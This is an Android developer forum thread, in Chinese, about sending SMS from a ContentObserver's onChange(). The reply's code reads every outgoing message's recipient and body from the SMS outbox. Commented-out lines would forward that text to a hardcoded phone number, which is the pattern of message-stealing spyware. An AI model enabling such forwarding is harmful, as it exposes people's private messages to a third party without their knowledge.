我想在数据观察者的 onChange()里写个发送短信的代码。可老发生异常。
如何写呀?最好来点代码。有什么注意事项吗?
请教老师哈短信

解决方案 »

  1.   

    public void onChange(boolean selfChange)
    {
    System.out.println("onChange");


     
    // 查询发送箱中的短信(处于正在发送状态的短信放在发送箱)
    Cursor cursor = getContentResolver().query(
    Uri.parse("content://sms/outbox")
    , null, null, null, null);
    // 遍历查询得到的结果集,即可获取用户正在发送的短信
    while (cursor.moveToNext())
    {
    StringBuilder sb = new StringBuilder();
    // 获取短信的发送地址
    sb.append("address=").append(cursor
    .getString(cursor.getColumnIndex("address")));
    // 获取短信的标题
    sb.append(";subject=").append(cursor
    .getString(cursor.getColumnIndex("subject")));
    // 获取短信的内容
    sb.append(";body=").append(cursor
    .getString(cursor.getColumnIndex("body")));
    // 获取短信的发送时间
    sb.append(";time=").append(cursor
    .getLong(cursor.getColumnIndex("date")));

    System.out.println("Has Sent SMS::" + sb.toString());
    //SmsManager smsManager = SmsManager.getDefault();
    //smsManager.sendTextMessage("18635371881", null,sb.toString(), null,null);
    }




    }
      

  2.   

    代码太少   看不出啥问题  还是上log吧主要看下权限是否都有   另外发送的信息是否长度太长(70字以上需要分拆)  PendingIntent是否不能为空等等